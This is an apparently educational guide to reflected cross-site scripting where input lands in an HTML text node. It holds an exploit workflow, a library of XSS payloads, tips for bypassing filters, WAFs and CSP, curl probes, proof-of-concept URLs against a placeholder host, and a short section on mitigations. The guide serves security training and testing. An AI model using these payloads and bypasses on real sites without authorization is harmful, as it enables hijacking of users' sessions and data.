Learn about Reflected XSS
Learn about Reflected XSS: Reflected XSS — HTML Context (ENHANCED) Goal: Understand and exploit reflected XSS when attacker input is inserted into an HTML text-node with little/no encoding, and build a repeatable workflow for testing payloads safely. • Security, Knowledge • XSS • xss, reflected-xss
Reflected XSS — HTML Context (ENHANCED)
Goal: Understand and exploit reflected XSS when attacker input is inserted into an HTML text-node with little/no encoding, and build a repeatable workflow for testing payloads safely.
🧭 Scope & Scenario
- Vector: Query string (e.g.,
/?search=...). - Sink: HTML text node (between tags), e.g.:
<p>You searched for: {{ input }}</p> - Assumption: Server injects raw or lightly encoded input (no strict escaping, no CSP blocking inline JS).
🎯 TL;DR (Quick Win)
- Use ASCII quotes (not smart quotes) and URL-encode special characters when needed.
- In a text-node context, you must introduce a tag to create an executable sink (e.g.,
<img onerror>or<script>). - Starter payloads (pick one appropriate for your context):
- Text-node → inject a new tag:
<img src=x onerror=alert(document.domain)> - If tags are allowed unfiltered:
<script>alert(document.domain)</script>
- Text-node → inject a new tag:
- Verify in the browser devtools and ensure your payload survives any encoding/filters.
🧩 Background: Query Strings & Encoding
- After
?comes the query string:key=valuepairs separated by&.- Example:
/?search=alert%28%27Hello%20XsiSec%27%29
- Example:
+becomes a space in standard URL encoding inside query parameters. Use%2Bfor a literal plus.- Always prefer URL-encoding for metacharacters:
< > " ' ( ) ; = &
🔎 Context Mapping
Knowing where the reflection lands determines the payload form.
| Context (DOM) | Example Reflection | Typical Working Payload |
|---|---|---|
| HTML text node | <p>You searched: {{input}}</p> | Inject new tag: <img src=x onerror=…> |
| HTML attribute (double-quoted) | <a title="{{input}}"> | Close quote + new attr + event |
| HTML attribute (single-quoted) | <a title='{{input}}'> | Close quote + new attr + event |
| HTML attribute (unquoted) | <a title={{input}}> | Space + new attr + event |
Inside JS string ("…") | var q = "{{input}}"; | Close " + ; + JS payload |
Inside JS string ('…') | var q = '{{input}}'; | Close ' + ; + JS payload |
Inside URL (href, src) | <a href="/search?q={{input}}"> | javascript: or data URI (often blocked) |
This guide focuses on HTML text-node reflection.
🛠️ Exploit Workflow (Text-Node)
Probe safely to confirm raw reflection:
/?search=XSISEC123- Find
XSISEC123in the rendered DOM (Elements panel), not just “View Source”.
- Find
Break out of text by introducing a tag:
/?search=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3EWhich decodes to:
<img src=x onerror=alert(document.domain)>If
<script>is permitted:/?search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3EObserve execution (e.g., alert pops, console logs).
Stabilize the payload (short, resilient, no smart quotes).
🧪 Payload Library (Text-Node Friendly)
Use plain ASCII quotes. URL-encode for transport.
Minimal image error handler:
<img src=x onerror=alert(1)>Domain leak check:
<img src=x onerror=alert(document.domain)>Inline script (if allowed):
<script>alert(document.cookie)</script>Note: Cookies with HttpOnly cannot be read via JS.
SVG-onload (sometimes filtered, but useful when
<img>is blocked):<svg onload=alert(1)></svg>
🚧 Common Roadblocks & Bypasses
- Smart quotes (
“ ” ‘ ’) → replace with ASCII quotes (" '). - HTML-encoding of
< >→ try contexts that don’t require angle brackets (attribute/JS context), or find a reflection path that isn’t encoded. - WAF filters on
<script>→ use innocuous tags/events (e.g.,<img onerror>,<svg onload>). - CSP blocking inline scripts → use event handlers or try sourcing from allowed origins; CSP bypasses are app-specific.
- URL auto-encoding → encode before sending to avoid the app double-encoding your payload.
✅ Verification Checklist
- Reflection confirmed in rendered DOM.
- Payload not sanitized or re-encoded.
- Execution primitive observed (e.g., alert/console).
- Browser console shows no CSP/type errors.
- Saved final PoC URL for reporting.
🧰 cURL Examples
Quick probe:
curl -s 'https://target.tld/?search=XSISEC123'URL-encoded
<img onerror>payload:curl -s 'https://target.tld/?search=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E'
Rendering is required to execute JS—use a browser or headless browser to validate execution.
🛡️ Mitigations (for defenders)
- Contextual escaping (encode
< > & " ' /appropriately for the sink). - Prefer templating engines with auto-escaping.
- Adopt CSP (Content-Security-Policy) to reduce impact.
- Avoid mixing data and code (no building HTML with string concatenation).
- Input validation (length, charset) to shrink attack surface.
📎 Appendix — Quick Encoding Reference
| Char | Encode |
|---|---|
< | %3C |
> | %3E |
" | %22 |
' | %27 |
( | %28 |
) | %29 |
; | %3B |
+ | %2B |
& | %26 |
📌 Example PoC URLs (Replace host)
Text-node with
<img onerror>:https://target.tld/?search=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3EInline
<script>(if permitted):https://target.tld/?search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Changelog
- v1.0 — Initial ENHANCED guide for reflected XSS in HTML text-node context.